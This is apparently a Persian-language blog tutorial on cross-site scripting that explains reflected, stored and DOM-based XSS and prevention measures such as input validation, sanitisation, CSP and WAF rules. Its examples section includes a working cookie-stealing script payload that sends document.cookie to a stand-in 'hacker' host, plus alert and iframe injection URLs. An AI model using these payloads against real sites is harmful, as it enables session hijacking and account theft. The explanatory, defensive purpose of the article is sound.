حملات XSS که به اختصار Cross-site Scripting یا حملات اسکریپتنویسی بینسایتی شناخته میشوند، نوعی حملهی تزریقی هستند که در آن هکر کدهای مخرب را به یک وبسایت آسیبپذیر ارسال میکند. زمانی که کاربر صفحهی آسیبدیده را بارگذاری میکند، کد مخرب اجرا میشود و دسترسی به اطلاعات حساس کاربران فراهم میآید. این نوع حملات برخلاف حملات سنتی که در آن میزبان برنامه هدف قرار میگیرد، کاربران برنامه را هدف قرار میدهند.
حملات XSS بهویژه برای سازمانها و شرکتهایی که وباپلیکیشنهای خود را بدون اعتبارسنجی مناسب راهاندازی میکنند، خطرناک است. این حملات به یکی از 10 تهدید امنیتی اصلی برای سازمانها و شرکتهایی که با برنامههای تحت وب سروکار دارند، تبدیل شده است. با این حال، استفاده از روشهای امنیتی مانند نوشتن کدهای ایمن و بهرهگیری از ابزارهای امنیتی مختلف میتواند از بروز این حملات جلوگیری کند.
کد سمت کلاینت چیست؟
کد سمت کلاینت (Client-Side Code) به کدهایی اطلاق میشود که در مرورگر کاربر اجرا میشوند. این کدها معمولاً از جاوااسکریپت استفاده میکنند و به محض بارگذاری صفحات وب در مرورگر، اجرا میشوند. در این نوع کدها، ارتباط با سرور ضروری نیست و این امر موجب میشود که محتوای تعاملی سریعتر و بدون وقفه اجرا شود.
این کدها برای ایجاد تعاملات سریع و بدون تأخیر در وبسایتها و برنامهها بسیار محبوب هستند. بهویژه در پلتفرمهای بازیهای آنلاین مبتنی بر مرورگر که نیاز به اتصال مداوم به اینترنت ندارند، استفاده از کدهای سمت کلاینت مزایای زیادی دارد. با افزایش استفاده از جاوا اسکریپت در وبسایتها و برنامههای مدرن، حملات XSS به یکی از تهدیدات اصلی امنیتی تبدیل شده است.
نمونهای از حملات XSS
این حملات، بیشتر در وبسایتهایی مشاهده میشود که فرومها یا انجمنهای عمومی دارند. این نوع وبسایتها به دلیل عدم وجود تدابیر امنیتی مناسب، بیشتر در معرض این نوع حملات قرار دارند. در چنین سایتهایی، هکر ممکن است یک کامنت یا پیامی که حاوی کد مخرب (مثل تگهای <script></script>) باشد، ارسال کند. زمانی که کاربر دیگر صفحه را بارگذاری میکند، کد مخرب در مرورگر اجرا میشود و حمله انجام میشود.
هکرها چگونه از حملات XSS استفاده میکنند؟
حملات XSS بهویژه از آنجا که جاوااسکریپت به دادههای حساس مانند کوکیها دسترسی دارد، بسیار مورد توجه هکرها قرار میگیرد. کوکیها اطلاعاتی هستند که در مرورگر کاربر ذخیره میشوند و برای ورود مداوم به حسابهای کاربری استفاده میشوند. به عنوان مثال، در سایتهای اجتماعی مثل فیسبوک، کوکیها به کاربر این امکان را میدهند که بدون نیاز به ورود مجدد، به حساب خود وارد شود.
با استفاده از این حملات، هکر میتواند به این کوکیها دسترسی پیدا کند و هویت کاربر را جعل کند. این حملات معمولاً در سه مرحله انجام میشود: اول، کد مخرب کوکیهای کاربر را میدزدد؛ سپس این کوکیها به سرور مهاجم ارسال میشود؛ و در نهایت، هکر از این کوکیها برای دسترسی به حسابهای کاربری و اطلاعات حساس استفاده میکند.
مراحل یک حمله XSS معمولی
- مرحله اول: قربانی صفحهی وب را بارگذاری کرده و کد مخرب کوکیهای وی را سرقت میکند.
- مرحله دوم: کد مخرب یک درخواست HTTP به سرور مهاجم ارسال کرده و اطلاعات دزدیدهشده را در بدنهی درخواست قرار میدهد.
- مرحله سوم: هکر از کوکیهای دزدیدهشده برای دسترسی به حسابهای کاربری و اطلاعات حساس استفاده میکند.
انواع حملات XSS
حملات XSS به سه نوع اصلی تقسیم میشوند:
- XSS ذخیرهشده: در این نوع حمله، کد مخرب بهطور دائم در سایت ذخیره میشود و در هر بار بارگذاری صفحه، اجرا میشود.
- 2XSS بازتابی: در این حمله، کد مخرب فقط زمانی اجرا میشود که کاربر روی یک لینک خاص کلیک کند یا ورودی خاصی وارد کند.
- XSS DOM–based: در این نوع حمله، کد مخرب تنها در مرورگر کاربر اجرا میشود و سرور هیچ دخالتی در آن ندارد.
چگونه از حملات XSS جلوگیری کنیم؟
برای پیشگیری از حملات XSS میتوان اقدامات مختلفی را انجام داد:
- اعتبارسنجی ورودیها: تمامی دادههای ورودی از کاربران باید بهدقت اعتبارسنجی و فیلتر شوند تا از ورود کدهای مخرب جلوگیری شود.
- استفاده از هدرهای امنیتی: استفاده از هدرهای امنیتی مانند CSP (Content Security Policy میتواند به کاهش خطر حملات XSS کمک کند.
- رمزگذاری دادهها: دادههای حساس باید بهطور مناسب رمزگذاری شوند تا از اجرای کدهای جاوا اسکریپت در مرورگر جلوگیری شود.
- استفاده از فریمورکهای ایمن: استفاده از فریمورکهای امنیتی معتبر میتواند کمک زیادی به کاهش خطرات احتمالی کند.
- پشتیبان مناسب بگیرید : جهت جلوگیری از اسیب های ناشی از هر گونه آلودگی از یک تیم پشتیبانی مناسب جهت پشتیبانی امنیتی وبسایت خود استفاده نمایید.
انواع حملات XSS
در ادامه، به معرفی و بررسی انواع مختلف حملات XSS میپردازیم.
حملات Reflected XSS
حملات Reflected XSS یکی از سادهترین و رایجترین انواع حملات XSS هستند. در این حملات، کد مخرب در وب سرور ذخیره نمیشود؛ بلکه در یک صفحه وب یا درخواست وب، مانند URL یا کوکیها، بهطور موقت جاگذاری میشود و به عنوان بخشی از محتوای صفحه در معرض دید مرورگر قربانی قرار میگیرد.
فرآیند یک حملهی Reflected XSS معمولی به شرح زیر است:
1.مهاجم پس از ایجاد یک URL مخرب که حاوی برچسب اسکریپت با مقداری کد جاوااسکریپت است (مثلاً <script>alert(‘XSS’)</script>)، آن را به صفحهی وبی مانند https://example.com/search?q=<script>alert(‘XSS’)</script> اضافه میکند.
- مهاجم URL مخرب را از طریق ایمیل، رسانههای اجتماعی یا سایر ابزارها به قربانی ارسال میکند و او را ترغیب میکند که روی آن کلیک کند.
- قربانی روی لینک کلیک کرده و سپس یک درخواست وب به وب سرور ارسال میشود.
4.وب سرور درخواست را پردازش کرده و صفحهای که حاوی نتایج جستجو و کد مخرب است، بازمیگرداند.
- مرورگر قربانی صفحهی وب را دریافت کرده و کد جاوااسکریپت موجود در آن را اجرا میکند. پس از آن، یک کادر هشدار با عبارت “XSS” به نمایش درمیآید.
- در این مرحله، مهاجم کد جاوا اسکریپت دلخواه خود را در مرورگر قربانی اجرا کرده است.
تأثیر حملات Reflected XSS به نوع کد مخرب و ماهیت حمله بستگی دارد. در مثال فوق، تنها یک پیام هشدار نمایش داده میشود، اما مهاجم میتواند از کدهای پیچیدهتری برای انجام عملیات مخربتری مانند سرقت کوکیها، هدایت به سایتهای فیشینگ و سایر اقدامات خرابکارانه استفاده کند.
حملات Stored XSS (Persistent)
حملات Stored XSS معمولاً پیچیدهتر و خطرناکتر از حملات Reflected XSS هستند. در این نوع حملات، کدهای مخرب در وب سرور ذخیره میشوند و هر بار که قربانی صفحه وب را بارگذاری میکند، این کدهای مخرب به او ارسال میشوند. این حملات معمولاً از طریق پایگاههای داده، فایلها یا گزارشها در وب سرور ذخیره شده و برای کاربران مختلف ارسال میشوند.
پروسه یک حملهی Stored XSS معمولی به شرح زیر است:
1- مهاجم به یک اپلیکیشن وب مانند یک وبلاگ، انجمن یا شبکه اجتماعی که به کاربران اجازه ارسال نظرات را میدهد، مراجعه میکند.
2- مهاجم یک نظر حاوی برچسب اسکریپت با کد جاوا اسکریپت (مثلاً <script>alert(‘XSS’)</script>) را ارسال کرده و آن را به وب سرور میفرستد.
3- وب سرور نظر را بدون بررسی یا پاکسازی آن در پایگاه داده ذخیره میکند.
4- وقتی کاربر قربانی به صفحهی نظرات مراجعه کرده و درخواست خود را به سرور ارسال میکند، سرور نظرهای ذخیرهشده را بازیابی کرده و صفحهای که حاوی کد مخرب است را بازمیگرداند.
5- مرورگر قربانی صفحهی وب را دریافت کرده و کد جاوااسکریپت را اجرا میکند. در این لحظه، یک کادر هشدار با عبارت “XSS” ظاهر میشود.
6- مهاجم کد جاوا اسکریپت را با موفقیت در مرورگر قربانی اجرا کرده است.
تاثیر حملات Stored XSS مشابه حملات Reflected است، اما تأثیر آنها به دلیل ذخیرهشدن کدهای مخرب بر روی سرور و ارسال آنها به تمام کاربران که به آن صفحه دسترسی دارند، شدیدتر است.
حملات DOM-Based XSS
حملات DOM-Based XSS پیچیدهترین نوع حملات XSS هستند و معمولاً کمتر توسط مهاجمان استفاده میشوند. در این نوع حملات، کد مخرب در درخواست وب یا صفحات وب قرار نمیگیرد؛ بلکه مستقیما در Document Object Model (DOM)، که نمای داخلی صفحه در حافظه مرورگر است، جاسازی میشود. این کد مخرب هیچ ارتباطی با وب سرور ندارد و تنها در داخل مرورگر قربانی تغییرات ایجاد میکند.
پروسه یک حملهی DOM-Based XSS معمولی به شرح زیر است:
1- مهاجم یک URL مخرب مانند #<script>alert(‘XSS’)</script> ایجاد کرده و آن را به صفحهی وب معتبر مانند https://example.com/index.html#<script>alert(‘XSS’)</script> اضافه میکند.
2- مهاجم این URL را از طریق ایمیل، رسانههای اجتماعی یا ابزارهای دیگر برای قربانی ارسال میکند و او را متقاعد میکند تا بر روی آن کلیک کند.
3- پس از کلیک بر روی لینک، یک درخواست وب به سرور ارسال میشود.
4- سرور صفحهای را که حاوی کد جاوااسکریپت است که شناسهی قطعه را از URL میخواند و در DOM مینویسد، به مرورگر قربانی ارسال میکند.
5- مرورگر قربانی صفحهی وب را دریافت کرده و کد جاوااسکریپت را اجرا میکند.
6- کد جاوا اسکریپت، تگ <script> را اجرا کرده و کادر هشدار حاوی عبارت “XSS” را نمایش میدهد.
7- مهاجم توانسته کد جاوا اسکریپت خود را در مرورگر قربانی اجرا کند.
تأثیر حملات DOM-Based XSS مشابه حملات دیگر است، اما شناسایی و پیشگیری از این نوع حملات دشوارتر است، زیرا کدهای مخرب در داخل DOM قرار میگیرند و هیچ ارتباطی با سرور یا درخواستهای وب ندارند.
روشهای جلوگیری از حملات XSS
برای جلوگیری از حملات XSS، نمیتوان از یک روش واحد برای تمامی انواع این حمله استفاده کرد، چرا که هر نوع حمله و هر نوع برنامه کاربردی نیازمند تدابیر خاصی هستند. در اینجا، چندین راهکار امنیتی موثر برای مقابله با این حملات معرفی میشود:
1- جلوگیری از استفاده از HTML در فیلدهای ورودی
یکی از بهترین روشها برای مقابله با حملات XSS این است که اجازه ندهیم کاربران HTML را در فیلدهای ورودی خود وارد کنند. بهطور خاص، در فرمهای ورودی که کاربران داده وارد میکنند، باید از ارسال کدهای HTML جلوگیری شود. بهجای آن، میتوان از ابزارهایی مانند ویرایشگرهای Markdown یا WYSIWYG استفاده کرد که به کاربران اجازه میدهند محتوای امن و دلخواه را بدون نیاز به کد HTML وارد کنند.
2- اعتبارسنجی ورودیها
اعتبارسنجی ورودیها باعث میشود که دادههایی که به سیستم ارسال میشود، تنها با قوانین خاصی تطابق داشته باشند. بهعنوان مثال، در یک فیلد ورودی برای نام خانوادگی، تنها حروف الفبایی باید پذیرفته شوند و هیچ گونه تگ HTML یا کد جاوااسکریپت مانند <script> نمیتواند وارد شود. با استفاده از اعتبار سنجی دقیق، میتوان از ورود کدهای مخرب جلوگیری کرد.
3- پاکسازی دادهها
پاکسازی دادهها فرآیندی مشابه اعتبارسنجی است که بعد از ورود دادهها به سرور انجام میشود. بهطور کلی، دادههای وارد شده باید قبل از نمایش به کاربران دیگر، از هر گونه کد مخرب پاکسازی شوند. برای این منظور، ابزارهای مختلفی وجود دارند که میتوانند HTML را از کدهای مخرب فیلتر کنند و مانع از اجرای اسکریپتها در مرورگرهای کاربران شوند.
4- استفاده از تدابیر امنیتی برای کوکیها
برای محافظت از کوکیها در برابر حملات XSS، بسیاری از برنامههای وب ویژگیهایی دارند که امنیت کوکیها را افزایش میدهند. بهطور مثال، میتوان قوانین خاصی تنظیم کرد که دسترسی به کوکیها را محدود به آدرسهای IP خاص کند. همچنین، میتوان تنظیماتی انجام داد که دسترسی جاوااسکریپت به کوکیها را به طور کلی مسدود کند تا مهاجمان نتوانند آنها را سرقت کنند.
5- تنظیم قوانین WAF
WAF (Web Application Firewall) یک ابزار مهم برای جلوگیری از حملات وب است. با استفاده از قوانین مناسب WAF، درخواستهای مشکوک یا نامناسب میتوانند شناسایی و مسدود شوند. این اقدامات نه تنها به جلوگیری از حملات XSS کمک میکنند، بلکه امنیت کلی کاربران را نیز تقویت میکنند.
با اجرای این روشها، میتوان به طور مؤثری از بروز حملات XSS جلوگیری کرده و امنیت برنامههای وب را تضمین کرد.
مثالهایی از حملات XSS به همراه قطعه کد
در این بخش، دو مثال از حملات XSS به همراه قطعه کدهای مربوطه بررسی میشود.
مثال اول
قطعه کد HTTP به شکل زیر است:
<title>Example document: %(title)</title>
در اینجا، هدف این است که حملهی XSS یک قطعه الگو را نشان دهد. فرض کنید متغیر title دارای مقدار Cross-Site Scripting باشد، در این صورت کد HTML زیر به مرورگر ارسال میشود:
<title>Example document: XSS Doc</title>
وبسایتهایی که فیلد جستجو دارند و ورودیها را به درستی پاکسازی نمیکنند، به راحتی میتوانند هدف حملات XSS قرار گیرند. در این نوع حملات، مهاجم با ایجاد یک عبارت جستجو به شکل زیر، در سمت سرور، کوکی کاربر را میدزدد:
“>
<SCRIPT>var img=new Image();img.src=”http://hacker/” + document.cookie;</SCRIPT>
اگر یک ادمین بر روی این لینک کلیک کند، مهاجم میتواند شناسه جلسه کاربر را بدزدد.
مثال دوم
فرض کنید URL زیر در وبسایت گوگل وجود دارد:
http://www.google.com/search?q=flowers
در این حالت، HTML زیر از سرور برگشت داده میشود:
<p>Your search for ‘flowers’ returned the following results: </p>
اگر دادهها اعتبارسنجی و فیلتر نشده باشند، وبسایتهایی مانند Evil.org میتوانند یک صفحه ایجاد کنند که URL زیر را در مرورگر بارگذاری کند (برای مثال در یک <iframe> نامرئی):
http://www.google.com/search?q=flowers+%3Cscript%3Eevil_script()%3C/script%3E
زمانی که قربانی این صفحه را از Evil.org بارگیری میکند، مرورگر، iframe را از URL فوق بارگذاری میکند. سند بارگذاری شده در iframe همچنین حاوی کد زیر است:
<p>Your search for ‘flowers <script>evil_script()</script>’ returned the following results: </p>
با بارگذاری این صفحه، اسکریپت evil_script() در بکگراند صفحهی گوگل اجرا میشود.
نتیجهگیری
حمله Cross-Site Scripting (XSS) یکی از آسیبپذیریهای خطرناک وب است که در آن، مهاجمان با تزریق کدهای مخرب به صفحات وب و اجرای آن در مرورگرهای بازدیدکنندگان، اقدام به انجام اعمال مخرب میکنند. این حملات میتوانند امنیت و حریم خصوصی کاربران را تهدید کرده و عملکرد برنامههای کاربردی وب را مختل کنند. سه نوع اصلی از حملات XSS عبارتند از Reflected، Stored، و DOM-Based. هر کدام از این حملات ویژگیها و روشهای خاص خود را دارند.
برای مقابله با این حملات، توسعهدهندگان وب باید اقدامات مؤثری همچون اعتبارسنجی ورودیها، کدگذاری خروجیها و استفاده از روشهای امنیتی برای کوکیها را به کار ببرند. برای اطلاعات بیشتر و مشاوره در زمینه امنیت وب، میتوانید از خدمات سایت فریا بهرهبرداری کنید، جایی که متخصصان امنیت وب میتوانند به شما در محافظت از برنامههای کاربردیتان کمک کنند.